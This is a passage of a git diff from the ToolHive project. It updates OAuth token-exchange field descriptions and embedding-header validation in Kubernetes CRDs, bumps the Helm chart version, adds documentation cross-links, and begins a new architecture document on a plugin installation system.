string + subjectTokenType: + description: |- + SubjectTokenType is the token-type URN of the upstream subject token + used in IdP exchange. Defaults to TokenTypeIDToken when empty. Currently only + urn:ietf:params:oauth:token-type:id_token is accepted; the field exists + to allow future expansion to SAML upstreams without an API break. + type: string targetAudience: description: TargetAudience is the resource AS URL for the ID-JAG audience claim (required). type: string targetClientId: description: TargetClientID is the OAuth client - ID at the target AS for Step B. + ID at the target AS for target grant. type: string targetClientSecret: description: TargetClientSecret is the client secret - at the target AS for Step B. + at the target AS for target grant. type: string targetClientSecretEnv: description: TargetClientSecretEnv is the env var @@ -2186,13 +2219,13 @@ spec: targetResource: description: |- TargetResource is the RFC 8707 resource indicator sent as the `resource` - parameter in Step A's RFC 8693 token exchange (draft §4.3, OPTIONAL). It + parameter in IdP exchange's RFC 8693 token exchange (draft §4.3, OPTIONAL). It identifies the target resource server — not the access-token audience, which is governed by TargetAudience. For MCP backends, set to the MCP server URL. type: string targetTokenUrl: description: TargetTokenURL is the target AS token - endpoint for Step B (JWT Bearer grant). + endpoint for target grant (JWT Bearer grant). type: string required: - idpTokenUrl @@ -2432,11 +2465,11 @@ spec: properties: idpClientId: description: IDPClientID is the OAuth client ID at - the IdP for Step A. + the IdP for IdP exchange. type: string idpClientSecret: description: IDPClientSecret is the client secret - at the IdP for Step A. + at the IdP for IdP exchange. type: string idpClientSecretEnv: description: IDPClientSecretEnv is the env var containing @@ -2444,7 +2477,7 @@ spec: type: string idpTokenUrl: description: IDPTokenURL is the IdP token endpoint - for Step A (RFC 8693 exchange). + for IdP exchange (RFC 8693 exchange). type: string insecureTargetTokenUrl: description: |- @@ -2453,8 +2486,8 @@ spec: development/testing endpoints — never in production. type: boolean scopes: - description: Scopes are the requested scopes for Steps - A and B. + description: Scopes are the requested scopes for IdP + exchange and target grant. items: type: string type: array @@ -2464,17 +2497,24 @@ spec: SubjectProviderName selects which upstream provider's ID token to use. Auto-populated when embedded AS is active. type: string + subjectTokenType: + description: |- + SubjectTokenType is the token-type URN of the upstream subject token + used in IdP exchange. Defaults to TokenTypeIDToken when empty. Currently only + urn:ietf:params:oauth:token-type:id_token is accepted; the field exists + to allow future expansion to SAML upstreams without an API break. + type: string targetAudience: description: TargetAudience is the resource AS URL for the ID-JAG audience claim (required). type: string targetClientId: description: TargetClientID is the OAuth client ID - at the target AS for Step B. + at the target AS for target grant. type: string targetClientSecret: description: TargetClientSecret is the client secret - at the target AS for Step B. + at the target AS for target grant. type: string targetClientSecretEnv: description: TargetClientSecretEnv is the env var @@ -2483,13 +2523,13 @@ spec: targetResource: description: |- TargetResource is the RFC 8707 resource indicator sent as the `resource` - parameter in Step A's RFC 8693 token exchange (draft §4.3, OPTIONAL). It + parameter in IdP exchange's RFC 8693 token exchange (draft §4.3, OPTIONAL). It identifies the target resource server — not the access-token audience, which is governed by TargetAudience. For MCP backends, set to the MCP server URL. type: string targetTokenUrl: description: TargetTokenURL is the target AS token - endpoint for Step B (JWT Bearer grant). + endpoint for target grant (JWT Bearer grant). type: string required: - idpTokenUrl @@ -4094,13 +4134,13 @@ spec: type: object redirectUri: description: |- - RedirectURI is the callback URL where the upstream IDP will redirect after authentication. + RedirectURI is the callback URL where the upstream IdP will redirect after authentication. When not specified, defaults to `{resourceUrl}/oauth/callback` where `resourceUrl` is the URL associated with the resource (e.g., MCPServer or vMCP) using this config. type: string scopes: description: Scopes are the OAuth scopes to request - from the upstream IDP. + from the upstream IdP. items: type: string type: array @@ -4244,7 +4284,7 @@ spec: type: object clientId: description: ClientID is the OAuth 2.0 client identifier - registered with the upstream IDP. + registered with the upstream IdP. type: string clientSecretRef: description: |- @@ -4269,13 +4309,13 @@ spec: type: string redirectUri: description: |- - RedirectURI is the callback URL where the upstream IDP will redirect after authentication. + RedirectURI is the callback URL where the upstream IdP will redirect after authentication. When not specified, defaults to `{resourceUrl}/oauth/callback` where `resourceUrl` is the URL associated with the resource (e.g., MCPServer or vMCP) using this config. type: string scopes: description: |- - Scopes are the OAuth scopes to request from the upstream IDP. + Scopes are the OAuth scopes to request from the upstream IdP. If not specified, defaults to ["openid", "offline_access"]. When using additionalAuthorizationParams with provider-specific refresh token mechanisms (e.g., Google's access_type=offline), set explicit scopes to avoid @@ -5240,6 +5280,22 @@ spec: instead of all backend tools directly. This reduces token usage by allowing LLMs to discover relevant tools on demand rather than receiving all tool definitions. properties: + embeddingHeaders: + additionalProperties: + description: |- + EmbeddingHeaderValue is a custom embedding request header value: 1 to 8192 + characters with no control characters other than tab. + maxLength: 8192 + minLength: 1 + pattern: ^[^\x00-\x08\x0A-\x1F\x7F]*$ + type: string + description: |- + EmbeddingHeaders holds additional HTTP headers sent with every embedding + request. Only supported when EmbeddingProvider is "openai". Values are + stored in plain text and must not contain secrets; Authorization + (derived from OPENAI_API_KEY) and Content-Type cannot be set. + maxProperties: 32 + type: object embeddingModel: description: |- EmbeddingModel is the model name requested from the embedding service @@ -5317,6 +5373,16 @@ spec: pattern: ^([0-9]*[.])?[0-9]+$ type: string type: object + x-kubernetes-validations: + - message: embeddingHeaders is only supported when embeddingProvider + is 'openai' + rule: '!has(self.embeddingHeaders) || (has(self.embeddingProvider) + && self.embeddingProvider == ''openai'')' + - message: embeddingHeaders names must be valid HTTP header names + and must not include Authorization or Content-Type + rule: '!has(self.embeddingHeaders) || self.embeddingHeaders.all(k, + k.matches(''^[!#$%&\\x27*+.^_\\x60|~0-9A-Za-z-]+$'') && !(k.lowerAscii() + in [''authorization'', ''content-type'']))' outgoingAuth: description: |- OutgoingAuth configures how the virtual MCP server authenticates to backends. @@ -5555,11 +5621,11 @@ spec: properties: idpClientId: description: IDPClientID is the OAuth client ID - at the IdP for Step A. + at the IdP for IdP exchange. type: string idpClientSecret: description: IDPClientSecret is the client secret - at the IdP for Step A. + at the IdP for IdP exchange. type: string idpClientSecretEnv: description: IDPClientSecretEnv is the env var containing @@ -5567,7 +5633,7 @@ spec: type: string idpTokenUrl: description: IDPTokenURL is the IdP token endpoint - for Step A (RFC 8693 exchange). + for IdP exchange (RFC 8693 exchange). type: string insecureTargetTokenUrl: description: |- @@ -5577,7 +5643,7 @@ spec: type: boolean scopes: description: Scopes are the requested scopes for - Steps A and B. + IdP exchange and target grant. items: type: string type: array @@ -5587,17 +5653,24 @@ spec: SubjectProviderName selects which upstream provider's ID token to use. Auto-populated when embedded AS is active. type: string + subjectTokenType: + description: |- + SubjectTokenType is the token-type URN of the upstream subject token + used in IdP exchange. Defaults to TokenTypeIDToken when empty. Currently only + urn:ietf:params:oauth:token-type:id_token is accepted; the field exists + to allow future expansion to SAML upstreams without an API break. + type: string targetAudience: description: TargetAudience is the resource AS URL for the ID-JAG audience claim (required). type: string targetClientId: description: TargetClientID is the OAuth client - ID at the target AS for Step B. + ID at the target AS for target grant. type: string targetClientSecret: description: TargetClientSecret is the client secret - at the target AS for Step B. + at the target AS for target grant. type: string targetClientSecretEnv: description: TargetClientSecretEnv is the env var @@ -5606,13 +5679,13 @@ spec: targetResource: description: |- TargetResource is the RFC 8707 resource indicator sent as the `resource` - parameter in Step A's RFC 8693 token exchange (draft §4.3, OPTIONAL). It + parameter in IdP exchange's RFC 8693 token exchange (draft §4.3, OPTIONAL). It identifies the target resource server — not the access-token audience, which is governed by TargetAudience. For MCP backends, set to the MCP server URL. type: string targetTokenUrl: description: TargetTokenURL is the target AS token - endpoint for Step B (JWT Bearer grant). + endpoint for target grant (JWT Bearer grant). type: string required: - idpTokenUrl @@ -5852,11 +5925,11 @@ spec: properties: idpClientId: description: IDPClientID is the OAuth client ID at - the IdP for Step A. + the IdP for IdP exchange. type: string idpClientSecret: description: IDPClientSecret is the client secret - at the IdP for Step A. + at the IdP for IdP exchange. type: string idpClientSecretEnv: description: IDPClientSecretEnv is the env var containing @@ -5864,7 +5937,7 @@ spec: type: string idpTokenUrl: description: IDPTokenURL is the IdP token endpoint - for Step A (RFC 8693 exchange). + for IdP exchange (RFC 8693 exchange). type: string insecureTargetTokenUrl: description: |- @@ -5873,8 +5946,8 @@ spec: development/testing endpoints — never in production. type: boolean scopes: - description: Scopes are the requested scopes for Steps - A and B. + description: Scopes are the requested scopes for IdP + exchange and target grant. items: type: string type: array @@ -5884,17 +5957,24 @@ spec: SubjectProviderName selects which upstream provider's ID token to use. Auto-populated when embedded AS is active. type: string + subjectTokenType: + description: |- + SubjectTokenType is the token-type URN of the upstream subject token + used in IdP exchange. Defaults to TokenTypeIDToken when empty. Currently only + urn:ietf:params:oauth:token-type:id_token is accepted; the field exists + to allow future expansion to SAML upstreams without an API break. + type: string targetAudience: description: TargetAudience is the resource AS URL for the ID-JAG audience claim (required). type: string targetClientId: description: TargetClientID is the OAuth client ID - at the target AS for Step B. + at the target AS for target grant. type: string targetClientSecret: description: TargetClientSecret is the client secret - at the target AS for Step B. + at the target AS for target grant. type: string targetClientSecretEnv: description: TargetClientSecretEnv is the env var @@ -5903,13 +5983,13 @@ spec: targetResource: description: |- TargetResource is the RFC 8707 resource indicator sent as the `resource` - parameter in Step A's RFC 8693 token exchange (draft §4.3, OPTIONAL). It + parameter in IdP exchange's RFC 8693 token exchange (draft §4.3, OPTIONAL). It identifies the target resource server — not the access-token audience, which is governed by TargetAudience. For MCP backends, set to the MCP server URL. type: string targetTokenUrl: description: TargetTokenURL is the target AS token - endpoint for Step B (JWT Bearer grant). + endpoint for target grant (JWT Bearer grant). type: string required: - idpTokenUrl diff --git a/deploy/charts/operator/Chart.yaml b/deploy/charts/operator/Chart.yaml index a1862f4090..dc00519ed1 100644 --- a/deploy/charts/operator/Chart.yaml +++ b/deploy/charts/operator/Chart.yaml @@ -2,5 +2,5 @@ apiVersion: v2 name: toolhive-operator description: A Helm chart for deploying the ToolHive Operator into Kubernetes. type: application -version: 0.32.0 -appVersion: "v0.32.0" +version: 0.39.0 +appVersion: "v0.39.0" diff --git a/deploy/charts/operator/README.md b/deploy/charts/operator/README.md index fa5536fe29..f129e60dc4 100644 --- a/deploy/charts/operator/README.md +++ b/deploy/charts/operator/README.md @@ -1,6 +1,6 @@ # ToolHive Operator Helm Chart -![Version: 0.32.0](https://img.shields.io/badge/Version-0.32.0-informational?style=flat-square) +![Version: 0.39.0](https://img.shields.io/badge/Version-0.39.0-informational?style=flat-square) ![Type: application](https://img.shields.io/badge/Type-application-informational?style=flat-square) A Helm chart for deploying the ToolHive Operator into Kubernetes. @@ -46,7 +46,7 @@ The command removes all the Kubernetes components associated with the chart and |-----|------|---------|-------------| | fullnameOverride | string | `"toolhive-operator"` | Provide a fully-qualified name override for resources | | nameOverride | string | `""` | Override the name of the chart | -| operator | object | `{"affinity":{},"autoscaling":{"enabled":false,"maxReplicas":100,"minReplicas":1,"targetCPUUtilizationPercentage":80},"containerSecurityContext":{"allowPrivilegeEscalation":false,"capabilities":{"drop":["ALL"]},"readOnlyRootFilesystem":true,"runAsNonRoot":true,"runAsUser":1000,"seccompProfile":{"type":"RuntimeDefault"}},"defaultImagePullSecrets":[],"defaultRedis":{"addr":"","existingSecret":"","existingSecretKey":""},"env":[],"features":{"experimental":false,"storageVersionMigrator":false},"gc":{"gogc":75,"gomemlimit":"110MiB"},"image":"ghcr.io/stacklok/toolhive/operator:v0.32.0","imagePullPolicy":"IfNotPresent","imagePullSecrets":[],"leaderElectionRole":{"binding":{"name":"toolhive-operator-leader-election-rolebinding"},"name":"toolhive-operator-leader-election-role","rules":[{"apiGroups":[""],"resources":["configmaps"],"verbs":["get","list","watch","create","update","patch","delete"]},{"apiGroups":["coordination.k8s.io"],"resources":["leases"],"verbs":["get","list","watch","create","update","patch","delete"]},{"apiGroups":["events.k8s.io"],"resources":["events"],"verbs":["create","patch"]}]},"livenessProbe":{"httpGet":{"path":"/healthz","port":"health"},"initialDelaySeconds":15,"periodSeconds":20},"nodeSelector":{},"pdb":{"enabled":false,"maxUnavailable":1},"podAnnotations":{},"podLabels":{},"podSecurityContext":{"runAsNonRoot":true},"ports":[{"containerPort":8080,"name":"metrics","protocol":"TCP"},{"containerPort":8081,"name":"health","protocol":"TCP"}],"proxyHost":"0.0.0.0","rbac":{"allowedNamespaces":[],"scope":"cluster"},"readinessProbe":{"httpGet":{"path":"/readyz","port":"health"},"initialDelaySeconds":5,"periodSeconds":10},"replicaCount":1,"resources":{"limits":{"cpu":"500m","memory":"128Mi"},"requests":{"cpu":"10m","memory":"64Mi"}},"serviceAccount":{"annotations":{},"automountServiceAccountToken":true,"create":true,"labels":{},"name":"toolhive-operator"},"tolerations":[],"toolhiveRunnerImage":"ghcr.io/stacklok/toolhive/proxyrunner:v0.32.0","vmcpImage":"ghcr.io/stacklok/toolhive/vmcp:v0.32.0","volumeMounts":[],"volumes":[]}` | All values for the operator deployment and associated resources | +| operator | object | `{"affinity":{},"autoscaling":{"enabled":false,"maxReplicas":100,"minReplicas":1,"targetCPUUtilizationPercentage":80},"containerSecurityContext":{"allowPrivilegeEscalation":false,"capabilities":{"drop":["ALL"]},"readOnlyRootFilesystem":true,"runAsNonRoot":true,"runAsUser":1000,"seccompProfile":{"type":"RuntimeDefault"}},"defaultImagePullSecrets":[],"defaultRedis":{"addr":"","existingSecret":"","existingSecretKey":""},"env":[],"features":{"experimental":false,"storageVersionMigrator":false},"gc":{"gogc":75,"gomemlimit":"110MiB"},"image":"ghcr.io/stacklok/toolhive/operator:v0.39.0","imagePullPolicy":"IfNotPresent","imagePullSecrets":[],"leaderElectionRole":{"binding":{"name":"toolhive-operator-leader-election-rolebinding"},"name":"toolhive-operator-leader-election-role","rules":[{"apiGroups":[""],"resources":["configmaps"],"verbs":["get","list","watch","create","update","patch","delete"]},{"apiGroups":["coordination.k8s.io"],"resources":["leases"],"verbs":["get","list","watch","create","update","patch","delete"]},{"apiGroups":["events.k8s.io"],"resources":["events"],"verbs":["create","patch"]}]},"livenessProbe":{"httpGet":{"path":"/healthz","port":"health"},"initialDelaySeconds":15,"periodSeconds":20},"nodeSelector":{},"pdb":{"enabled":false,"maxUnavailable":1},"podAnnotations":{},"podLabels":{},"podSecurityContext":{"runAsNonRoot":true},"ports":[{"containerPort":8080,"name":"metrics","protocol":"TCP"},{"containerPort":8081,"name":"health","protocol":"TCP"}],"proxyHost":"0.0.0.0","rbac":{"allowedNamespaces":[],"scope":"cluster"},"readinessProbe":{"httpGet":{"path":"/readyz","port":"health"},"initialDelaySeconds":5,"periodSeconds":10},"replicaCount":1,"resources":{"limits":{"cpu":"500m","memory":"128Mi"},"requests":{"cpu":"10m","memory":"64Mi"}},"serviceAccount":{"annotations":{},"automountServiceAccountToken":true,"create":true,"labels":{},"name":"toolhive-operator"},"tolerations":[],"toolhiveRunnerImage":"ghcr.io/stacklok/toolhive/proxyrunner:v0.39.0","vmcpImage":"ghcr.io/stacklok/toolhive/vmcp:v0.39.0","volumeMounts":[],"volumes":[]}` | All values for the operator deployment and associated resources | | operator.affinity | object | `{}` | Affinity settings for the operator pod | | operator.autoscaling | object | `{"enabled":false,"maxReplicas":100,"minReplicas":1,"targetCPUUtilizationPercentage":80}` | Configuration for horizontal pod autoscaling | | operator.autoscaling.enabled | bool | `false` | Enable autoscaling for the operator | @@ -65,7 +65,7 @@ The command removes all the Kubernetes components associated with the chart and | operator.gc | object | `{"gogc":75,"gomemlimit":"110MiB"}` | Go memory limits and garbage collection percentage for the operator container | | operator.gc.gogc | int | `75` | Go garbage collection percentage for the operator container | | operator.gc.gomemlimit | string | `"110MiB"` | Go memory limits for the operator container | -| operator.image | string | `"ghcr.io/stacklok/toolhive/operator:v0.32.0"` | Container image for the operator | +| operator.image | string | `"ghcr.io/stacklok/toolhive/operator:v0.39.0"` | Container image for the operator | | operator.imagePullPolicy | string | `"IfNotPresent"` | Image pull policy for the operator container | | operator.imagePullSecrets | list | `[]` | List of image pull secrets to use | | operator.leaderElectionRole | object | `{"binding":{"name":"toolhive-operator-leader-election-rolebinding"},"name":"toolhive-operator-leader-election-role","rules":[{"apiGroups":[""],"resources":["configmaps"],"verbs":["get","list","watch","create","update","patch","delete"]},{"apiGroups":["coordination.k8s.io"],"resources":["leases"],"verbs":["get","list","watch","create","update","patch","delete"]},{"apiGroups":["events.k8s.io"],"resources":["events"],"verbs":["create","patch"]}]}` | Leader election role configuration | @@ -95,10 +95,14 @@ The command removes all the Kubernetes components associated with the chart and | operator.serviceAccount.labels | object | `{}` | Labels to add to the service account | | operator.serviceAccount.name | string | `"toolhive-operator"` | The name of the service account to use. If not set and create is true, a name is generated. | | operator.tolerations | list | `[]` | Tolerations for the operator pod | -| operator.toolhiveRunnerImage | string | `"ghcr.io/stacklok/toolhive/proxyrunner:v0.32.0"` | Image to use for Toolhive runners | -| operator.vmcpImage | string | `"ghcr.io/stacklok/toolhive/vmcp:v0.32.0"` | Image to use for Virtual MCP Server (vMCP) deployments | +| operator.toolhiveRunnerImage | string | `"ghcr.io/stacklok/toolhive/proxyrunner:v0.39.0"` | Image to use for Toolhive runners | +| operator.vmcpImage | string | `"ghcr.io/stacklok/toolhive/vmcp:v0.39.0"` | Image to use for Virtual MCP Server (vMCP) deployments | | operator.volumeMounts | list | `[]` | Additional volume mounts on the operator container | | operator.volumes | list | `[]` | Additional volumes to mount on the operator pod | | registryAPI | object | `{"image":"ghcr.io/stacklok/thv-registry-api:v1.3.0"}` | All values for the registry API deployment and associated resources | | registryAPI.image | string | `"ghcr.io/stacklok/thv-registry-api:v1.3.0"` | Container image for the registry API | +## Contributing + +See [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines on contributing to this chart. + diff --git a/deploy/charts/operator/README.md.gotmpl b/deploy/charts/operator/README.md.gotmpl index fed616e595..de8d55cbc9 100644 --- a/deploy/charts/operator/README.md.gotmpl +++ b/deploy/charts/operator/README.md.gotmpl @@ -52,3 +52,7 @@ The command removes all the Kubernetes components associated with the chart and {{ template "chart.valuesSection" . }} +## Contributing + +See [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines on contributing to this chart. + diff --git a/deploy/charts/operator/values.yaml b/deploy/charts/operator/values.yaml index a6296bcc57..6667e97704 100644 --- a/deploy/charts/operator/values.yaml +++ b/deploy/charts/operator/values.yaml @@ -59,15 +59,15 @@ operator: existingSecretKey: "" # -- Container image for the operator - image: ghcr.io/stacklok/toolhive/operator:v0.32.0 + image: ghcr.io/stacklok/toolhive/operator:v0.39.0 # -- Image pull policy for the operator container imagePullPolicy: IfNotPresent # -- Image to use for Toolhive runners - toolhiveRunnerImage: ghcr.io/stacklok/toolhive/proxyrunner:v0.32.0 + toolhiveRunnerImage: ghcr.io/stacklok/toolhive/proxyrunner:v0.39.0 # -- Image to use for Virtual MCP Server (vMCP) deployments - vmcpImage: ghcr.io/stacklok/toolhive/vmcp:v0.32.0 + vmcpImage: ghcr.io/stacklok/toolhive/vmcp:v0.39.0 # -- Host for the proxy deployed by the operator proxyHost: 0.0.0.0 diff --git a/docs/README.md b/docs/README.md index a62432fbd4..3a2ee6e7d0 100644 --- a/docs/README.md +++ b/docs/README.md @@ -28,6 +28,7 @@ For information on the ToolHive Operator, see the ### Development Guidelines +- **[CLI Command Reference](cli/thv.md)** - Generated reference for every `thv` command and subcommand - **[CLI Best Practices](cli-best-practices.md)** - Guidelines for adding and maintaining CLI commands with focus on usability and consistency - **[Logging Practices](logging.md)** - Logging levels, when to use them, and how to structure log messages - **[Error Handling](error-handling.md)** - Error construction, wrapping, and handling patterns for CLI and API @@ -35,6 +36,19 @@ For information on the ToolHive Operator, see the - **[Authorization](authz.md)** - Cedar policy-based authorization system - **[Middleware](middleware.md)** - HTTP middleware patterns for auth, authz, and telemetry - **[Runtime Implementation Guide](runtime-implementation-guide.md)** - Guide for implementing new container runtime support +- **[Runtime Version Customization](runtime-version-customization.md)** - Customizing base images and packages for protocol-scheme builds +- **[Remote MCP Authentication](remote-mcp-authentication.md)** - How ToolHive authenticates to remote MCP servers +- **[Server API Documentation](server/README.md)** - How the OpenAPI docs for the `thv serve` REST API are generated and served + +### Operator Documentation + +- **[VirtualMCPServer Kubernetes Guide](operator/virtualmcpserver-kubernetes-guide.md)** - Deploying and managing VirtualMCPServer on Kubernetes +- **[VirtualMCPCompositeToolDefinition Guide](operator/virtualmcpcompositetooldefinition-guide.md)** - Multi-step composite tool workflows +- **[Advanced Workflow Patterns](operator/advanced-workflow-patterns.md)** - Advanced patterns for virtual MCP composite tools +- **[Composite Tools Quick Reference](operator/composite-tools-quick-reference.md)** - Quick reference for composite tool configuration +- **[CRD API Reference](operator/crd-api.md)** - Generated API reference for all CRDs +- **[Restart Annotation](operator/restart-annotation.md)** - Restarting MCPServer instances via annotations +- **[MCPToolConfig Reconciliation](operator/toolconfig-reconciliation.md)** - How MCPToolConfig resources are reconciled ## Getting started @@ -99,6 +113,9 @@ ToolHive also includes comprehensive end-to-end tests that can be run using: task test-e2e ``` +See the [end-to-end test guide](../test/e2e/README.md) for the test structure, +Ginkgo labels, and how to run specific suites. + ### Other development tasks To see a list of all available development tasks, run: @@ -107,6 +124,9 @@ To see a list of all available development tasks, run: task --list ``` +To spin up a local Keycloak instance for testing authentication flows, see the +[Keycloak development setup](../deploy/keycloak/README.md). + ## Note on EXPERIMENTAL features From time to time, ToolHive may include features marked as EXPERIMENTAL. These diff --git a/docs/arch/01-deployment-modes.md b/docs/arch/01-deployment-modes.md index 56d5ca98fd..cd66c3ecc4 100644 --- a/docs/arch/01-deployment-modes.md +++ b/docs/arch/01-deployment-modes.md @@ -519,3 +519,5 @@ This allows the same codebase to behave appropriately in different environments. - [Transport Architecture](03-transport-architecture.md) - How proxying works - [RunConfig and Permissions](05-runconfig-and-permissions.md) - Configuration format - [Operator Architecture](09-operator-architecture.md) - Kubernetes operator details +- [Groups](07-groups.md) - Logical grouping of servers across deployment modes +- [Virtual MCP Server Architecture](10-virtual-mcp-architecture.md) - Aggregating backends as a deployment pattern diff --git a/docs/arch/03-transport-architecture.md b/docs/arch/03-transport-architecture.md index 7f881531c1..1b944cc836 100644 --- a/docs/arch/03-transport-architecture.md +++ b/docs/arch/03-transport-architecture.md @@ -655,3 +655,4 @@ func (*Factory) Create(config types.Config) (types.Transport, error) { - [Deployment Modes](01-deployment-modes.md) - How transports work in each mode - [RunConfig and Permissions](05-runconfig-and-permissions.md) - Transport configuration - [Core Concepts](02-core-concepts.md) - Transport concepts and terminology +- [Operator Architecture](09-operator-architecture.md) - How the operator and proxy-runner set up transports in Kubernetes diff --git a/docs/arch/05-runconfig-and-permissions.md b/docs/arch/05-runconfig-and-permissions.md index 11a85f2e7e..2ea393b280 100644 --- a/docs/arch/05-runconfig-and-permissions.md +++ b/docs/arch/05-runconfig-and-permissions.md @@ -747,3 +747,4 @@ Custom permission profiles can be defined in JSON files for reusable security po - [Deployment Modes](01-deployment-modes.md) - RunConfig portability - [Transport Architecture](03-transport-architecture.md) - Transport configuration - [Operator Architecture](09-operator-architecture.md) - K8s-specific configuration +- [Registry System](06-registry-system.md) - Registry metadata that seeds RunConfig for a server diff --git a/docs/arch/06-registry-system.md b/docs/arch/06-registry-system.md index 491f5331bd..ba8dd1699f 100644 --- a/docs/arch/06-registry-system.md +++ b/docs/arch/06-registry-system.md @@ -971,6 +971,7 @@ re-sync, modify `configYAML` (or restart the registry API pod). - [Deployment Modes](01-deployment-modes.md) - Registry usage per mode - [Groups](07-groups.md) - Groups in registry - [Operator Architecture](09-operator-architecture.md) - MCPRegistry CRD +- [RunConfig and Permissions](05-runconfig-and-permissions.md) - How registry metadata feeds a server's RunConfig - [Skills System](12-skills-system.md) - Skills discovery and distribution via registry ### External Documentation diff --git a/docs/arch/07-groups.md b/docs/arch/07-groups.md index 9ac6bc2e1b..d862439ed3 100644 --- a/docs/arch/07-groups.md +++ b/docs/arch/07-groups.md @@ -141,3 +141,4 @@ Groups may serve as the foundation for additional features: - [Workloads Lifecycle](08-workloads-lifecycle.md) - Group operations - [Virtual MCP Server Architecture](10-virtual-mcp-architecture.md) - Group-based aggregation - [Skills System](12-skills-system.md) - Skills organized in groups +- [Deployment Modes](01-deployment-modes.md) - How groups apply per deployment mode diff --git a/docs/arch/09-operator-architecture.md b/docs/arch/09-operator-architecture.md index 38ce8001fc..525c41e457 100644 --- a/docs/arch/09-operator-architecture.md +++ b/docs/arch/09-operator-architecture.md @@ -729,4 +729,5 @@ spec: - [Core Concepts](02-core-concepts.md) - Operator concepts - [Registry System](06-registry-system.md) - MCPRegistry CRD - [Virtual MCP Server Architecture](10-virtual-mcp-architecture.md) - VirtualMCPServer details +- [Transport Architecture](03-transport-architecture.md) - Transport and proxy setup the proxy-runner performs in-cluster - Operator Design: `cmd/thv-operator/DESIGN.md` diff --git a/docs/arch/10-virtual-mcp-architecture.md b/docs/arch/10-virtual-mcp-architecture.md index 891dffc3ed..cc03ec710c 100644 --- a/docs/arch/10-virtual-mcp-architecture.md +++ b/docs/arch/10-virtual-mcp-architecture.md @@ -364,3 +364,4 @@ Status reporting enables vMCP runtime to report operational status directly inst - [Local vMCP CLI Mode](vmcp-local.md) - `thv vmcp` CLI surface, optimizer tiers, and TEI lifecycle - [vMCP Library Embedding](vmcp-library.md) - Embedding `pkg/vmcp/` in downstream Go projects - [vMCP Scalability Limits and Constraints](13-vmcp-scalability.md) - Per-pod session cap, TTL mechanics, Redis sizing, and pod restart behaviour +- [Deployment Modes](01-deployment-modes.md) - Where vMCP fits among local and Kubernetes deployment patterns diff --git a/docs/arch/12-skills-system.md b/docs/arch/12-skills-system.md index e0021eb346..83e16b8409 100644 --- a/docs/arch/12-skills-system.md +++ b/docs/arch/12-skills-system.md @@ -462,3 +462,4 @@ ToolHive owns the installation lifecycle, scoping model, CLI/API interfaces, and - [Registry System](06-registry-system.md) - Registry architecture shared by skills and servers - [Groups](07-groups.md) - Group concept used to organize skills and workloads - [Architecture Overview](00-overview.md) - Platform overview +- [Plugins System](14-plugins-system.md) - Sibling distribution system (OCI artifacts, multi-client install) diff --git a/docs/arch/14-plugins-system.md b/docs/arch/14-plugins-system.md new file mode 100644 index 0000000000..82c3d9a1ae --- /dev/null +++ b/docs/arch/14-plugins-system.md @@ -0,0 +1,279 @@ +# Plugins System + +## Why This Exists + +Plugins are the Claude Plugin manifest format — an OCI artifact containing a +`.claude-plugin/plugin.json` manifest plus component directories (`commands/`, +`agents/`, `skills/`, `hooks/`). A plugin bundles multiple component types into +a single installable unit, where a skill is a single component. + +The plugins system mirrors `pkg/skills` structurally — the scoping model +(user vs. project), install-status lifecycle, storage shape, and OCI artifact +layout are identical — but diverges at the materialization seam: a skill +installs into a single directory, while a plugin must be materialized into +each target client's directory layout (Claude Code's plugins dir + settings.json +marketplace, Codex's `.agents/plugins` marketplace), and different clients load +different component subsets. + +## Architecture + +``` +┌─────────────────────────────────────────────────────────────┐ +│ pluginsvc.service │ +│ Install (dispatch: git → OCI → registry name) │ +│ Uninstall · List · Info │ +│ per-(scope,name,projectRoot) pluginLock │ +└───────────────┬─────────────────────────────────────────────┘ + │ MaterializationAdapter interface + │ (Materialize / Dematerialize / SupportedComponents / + │ ScopeSupport) + ┌────────┴────────┐ + ▼ ▼ +┌─────────────┐ ┌──────────────┐ +│ ClaudeCode │ │ Codex │ +│ Adapter │ │ Adapter │ +│ FS + JSON │ │ FS + JSON │ +│ ~/.claude/ │ │ ~/.agents/ │ +│ plugins/ │ │ plugins/ │ +│ +settings │ │ marketplace │ +│ .json │ │ .json │ +└─────────────┘ └──────────────┘ +``` + +### Phasing + +- **Phase 2** (shipped): build/validate/push/list-builds/delete-build/get-content + + SQLite storage + migration 002. +- **Phase 3** (this doc): install/list/info/uninstall + MaterializationAdapter + (Claude Code + Codex) + groups integration. +- **Phase 4** (planned, #5528): REST API + `thv plugin` CLI + app wiring. + +## Core Concepts + +### Plugin Manifest + +`.claude-plugin/plugin.json` — kebab-case name, version, description, author, +license, keywords. Parsed by `plugins.ParsePluginManifest` (`pkg/plugins/parser.go`). + +### Component Inventory + +A plugin declares component directories. The OCI config carries a +`ComponentInventory` (map of component-type → count): `commands`, `agents`, +`skills`, `hooks`, `mcpServers`, `lspServers`. Not all clients load all types. + +### Installation Scopes + +Identical to skills: `user` (user-wide) or `project` (project-local, must be a +git repository). Storage keys on `(scope, project_root)`. + +### Multi-Client Materialization + +Unlike skills (single directory per client), plugins materialize differently +per client: + +| Client | Layout | Config mutation | Components loaded | Scope degradation | +|---|---|---|---|---| +| Claude Code | `~/.claude/plugins//` | `~/.claude/settings.json`: `enabledPlugins["@toolhive"]` + `extraKnownMarketplaces.toolhive` (`directory` source pointing at the plugins root); shared `~/.claude/plugins/.claude-plugin/marketplace.json` (top-level `name`/`owner`/`plugins[]`, each `source: "./"`) | commands, agents, skills, hooks | none | +| Codex | `~/.agents/plugins/toolhive//` (user) or `/.agents/plugins/toolhive//` (project) | shared `.agents/plugins/marketplace.json` (top-level `name` + `plugins[]`, each with a `local` `source.path` = `./toolhive/` relative to the marketplace root, plus `policy`/`category`). No `config.toml` mutation — see "Codex load step" below. | skills, mcpServers, hooks | none | + +The `MaterializationAdapter` interface (`pkg/plugins/adapter.go`) owns this: +each adapter extracts the plugin tree and (optionally) mutates client config, +reporting which component types it deliberately dropped. + +## Plugin Lifecycle + +### 1. Discovery + +OCI reference (`ghcr.io/org/plugin:v1`), git reference +(`git://host/owner/repo[@ref][#subdir]`), or plain name (registry lookup — +seam declared, wired in a later phase). + +### 2. Building + +`pluginsvc.Build` packages a local plugin directory into an OCI artifact via +`ociplugins.PluginPackager`. The layer is a single tar.gz of the whole plugin +tree. + +### 3. Installation + +`pluginsvc.Install` dispatches by reference type: + +1. **Git** (`gitresolver.IsGitReference`): clone via `pkg/git.Client`, read + `.claude-plugin/plugin.json`, collect all files, build an in-memory tar.gz, + then materialize. +2. **OCI**: pull via registry client, extract config + layer. **Name/repo + consistency check**: the declared 